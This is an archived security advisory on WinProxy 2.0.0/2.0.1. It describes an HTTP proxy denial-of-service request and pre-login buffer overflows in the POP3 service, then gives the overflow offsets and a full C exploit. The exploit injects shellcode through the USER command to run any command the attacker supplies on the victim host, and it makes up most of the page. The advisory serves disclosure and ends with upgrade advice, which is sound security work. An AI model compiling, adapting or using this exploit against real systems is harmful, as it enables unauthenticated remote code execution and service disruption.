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TUCoPS :: Security App Flaws :: winpro.htm

WinProxy shutdown



Vulnerability

    WinProxy

Affected

    WinProxy 2.0.0/2.0.1

Description

    Following is based  on SPS Advisory  #37.  WinProxy  is a freeware
    of Proxy, Mail, Web  server software work on  Windows95/98/NT/2000
    and you can download from  Japanese popular sites.  WinProxy  will
    be terminated caused by unexpected malicious request from  remote.
    This is  a kind  of Buffer  Overflow problem.   Especially on POP3
    service there  are many  Buffer Overflow  vulnerabilities such  as
    USER, PASS, LIST,  RETR, DELE... etc.   You may execute  arbitrary
    code in your request strings on target host.

    This vulnerability will cause DoS or allow arbitrary code execute.
    DoS will  be caused  on HTTP  Proxy.   Arbitrary code execute will
    be caused on POP3 service.

    (1) HTTP Proxy Server DoS
    =========================
    WinProxy  will  be  terminated   by  following  request  on   8080
    (default)...

        Offset Data
        --------------
          0    'G'
          1    'E'
          2    'T'
          3    ' '
          4    '/'
          5    ' '
          6    \r
          7    \n

    Note: "\r\n" is the point.  Example:

        %telnet 192.168.0.100 8080
        %Connected to 192.168.0.100.
        Escape character is '^]'.
        GET /

    (2) POP3 Server Exploitable Buffer Overflow
    ===========================================
    There are Buffer Overflow vulnerabilities in following commands..

        USER
        PASS
        LIST
        RETR
        DELE

    Bad  guy  can  execute  arbitrary  code  that  is put in malicious
    request.  USER  and  PASS  commands  allow remote exploits without
    login procedure.   It's dangerous thing,  isn't it?   Following is
    an example of USER command.

    Author of WinProxy prepared less than 300 byte for username string
    cup.  If  you put USER+username(315  byte), you'll see  GPF dialog
    box(means page  fault) on  your screen.   That will  cause  Buffer
    Overflow by over  312 byte strings.   So, you can  control EIP  at
    exceptional handling by putting a address on offset 312.

    EAX at exceptional  handling is offset308.   So, you can  let this
    jump to  an address  pointed in  EAX by  setting address offset312
    on  such  as  JMP  EAX(0xff,0xe1)  in  kernel32.dll.  You can skip
    exceptional  handler  address  and  execute  code, if you put JMPS
    command on offset308-309.

    Following exploit code is  for WinProxy on Windows98  from remote.
    Compiled by Visual C++5.0 and tested on Japanese Windows98.

    /*=============================================================================
       WinProxy 2.0.1 Overflow Exploit
       The Shadow Penguin Security (http://shadowpenguin.backsection.net)
       Written by UNYUN (shadowpenguin@backsection.net)
      =============================================================================
    */
    
    
    #include    <stdio.h>
    #include    <string.h>
    #include    <windows.h>
    #include    <winsock.h>
    
    
    #define     PORT            110
    #define     MAXBUF          700
    #define     MAXPACKETBUF    32000
    #define     RETADR          312
    #define     JMPADR          308
    #define     CODEOFS         316
    #define     JMPEAX_1        0xff
    #define     JMPEAX_2        0xe3
    #define     NOP             0x90
    #define     KERNEL_NAME     "kernel32.dll"
    
    
    unsigned char exploit_code[200]={
    0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,
    0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
    0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,
    0x52,0x32,0xE4,0x83,0xC3,0x06,0x88,0x23,
    0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
    0xF0,0x5A,0x43,0x53,0x52,0x32,0xE4,0x83,
    0xC3,0x04,0x88,0x23,0xB8,0x28,0x6E,0xF7,
    0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,0x83,
    0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
    0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,
    0xFF,0xFF,0x00};
    unsigned char cmdbuf[200]="msvcrt.dll.system.exit.";
    
    
    unsigned int search_mem(unsigned char *st,unsigned char *ed,
                    unsigned char c1,unsigned char c2)
    {
        unsigned char   *p;
        unsigned int    adr;
    
    
        for (p=st;p<ed;p++)
            if (*p==c1 && *(p+1)==c2){
                adr=(unsigned int)p;
                if ((adr&0xff)==0) continue;
                if (((adr>>8)&0xff)==0) continue;
                if (((adr>>16)&0xff)==0) continue;
                if (((adr>>24)&0xff)==0) continue;
                return(adr);
            }
        return(0);
    }
    
    
    main(int argc,char *argv[])
    {
        SOCKET               sock;
        SOCKADDR_IN          addr;
        WSADATA              wsa;
        WORD                 wVersionRequested;
        unsigned int         i,kp,ip,p1,p2,p;
        unsigned int         pretadr;
        static unsigned char buf[MAXBUF],packetbuf[MAXPACKETBUF],*q;
        struct hostent       *hs;
        MEMORY_BASIC_INFORMATION meminfo;
    
    
        if (argc<3){
            printf("usage: %s VictimHost Command\n",argv[0]);
            exit(1);
        }
        if ((void *)(kp=(unsigned int)LoadLibrary(KERNEL_NAME))==NULL){
            printf("Can not find %s\n",KERNEL_NAME);
            exit(1);
        }
    
    
        VirtualQuery((void *)kp,&meminfo,sizeof(MEMORY_BASIC_INFORMATION));
        pretadr=0;
        for (i=0;i<meminfo.RegionSize;i++){
            p=kp+i;
            if ( ( p     &0xff)==0
              || ((p>>8 )&0xff)==0
              || ((p>>16)&0xff)==0
              || ((p>>24)&0xff)==0) continue;
            if (*((unsigned char *)p)==JMPEAX_1 && *(((unsigned char *)p)+1)==JMPEAX_2) pretadr=p;
        }
        printf("RETADR         : %x\n",pretadr);
        if (pretadr==0){
            printf("Can not find codes which are used by exploit.\n");
            exit(1);
        }
    
    
        wVersionRequested = MAKEWORD( 2, 0 );
        if (WSAStartup(wVersionRequested , &wsa)!=0){
            printf("Winsock Initialization failed.\n"); return -1;
        }
        if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
            printf("Can not create socket.\n"); return -1;
        }
        addr.sin_family     = AF_INET;
        addr.sin_port       = htons((u_short)PORT);
        if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
                if ((hs=gethostbyname(argv[1]))==NULL){
                    printf("Can not resolve specified host.\n"); return -1;
                }
                addr.sin_family = hs->h_addrtype;
                memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
        }
        if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){
            printf("Can not connect to specified host.\n"); return -1;
        }
    
    
        memset(buf,NOP,MAXBUF); buf[MAXBUF-1]=0;
        for (i=0;i<10;i++) memset(buf+300+i*10,0x40+i,10);
    
    
        ip=pretadr;
        buf[RETADR  ]=ip&0xff;
        buf[RETADR+1]=(ip>>8)&0xff;
        buf[RETADR+2]=(ip>>16)&0xff;
        buf[RETADR+3]=(ip>>24)&0xff;
        buf[JMPADR  ]=0xeb;
        buf[JMPADR+1]=0x06;
        buf[RETADR+6]=0xcd;
        buf[RETADR+7]=0x01;
    
    
        p1=(unsigned int)GetProcAddress((HINSTANCE)kp,"LoadLibraryA");
        p2=(unsigned int)GetProcAddress((HINSTANCE)kp,"GetProcAddress");
    
    
        printf("LoadLibraryA   : %x\n",p1);
        printf("GetProcAddress : %x\n",p2);
        if ( ( p1     &0xff)==0
          || ((p1>>8 )&0xff)==0
          || ((p1>>16)&0xff)==0
          || ((p1>>24)&0xff)==0
          || ( p2     &0xff)==0
          || ((p2>>8 )&0xff)==0
          || ((p2>>16)&0xff)==0
          || ((p2>>24)&0xff)==0){
            printf("NULL code is included.\n");
            exit(1);
        }
    
    
        strcat(cmdbuf,argv[2]);
        strcat(exploit_code,cmdbuf);
        exploit_code[0x0d]=p1&0xff;
        exploit_code[0x0e]=(p1>>8)&0xff;
        exploit_code[0x0f]=(p1>>16)&0xff;
        exploit_code[0x10]=(p1>>24)&0xff;
        exploit_code[0x21]=exploit_code[0x35]=p2&0xff;
        exploit_code[0x22]=exploit_code[0x36]=(p2>>8)&0xff;
        exploit_code[0x23]=exploit_code[0x37]=(p2>>16)&0xff;
        exploit_code[0x24]=exploit_code[0x38]=(p2>>24)&0xff;
        exploit_code[0x41]=strlen(argv[2]);
    
    
        memcpy(buf+CODEOFS,exploit_code,strlen(exploit_code));
    
    
        sprintf(packetbuf,"user %s\r\n",buf);
        send(sock,packetbuf,strlen(packetbuf),0);
        Sleep(3000);
        closesocket(sock);
        printf("Done.\n");
        return FALSE;
    }

Solution

    Upgrade to WinProxy2.0.2.


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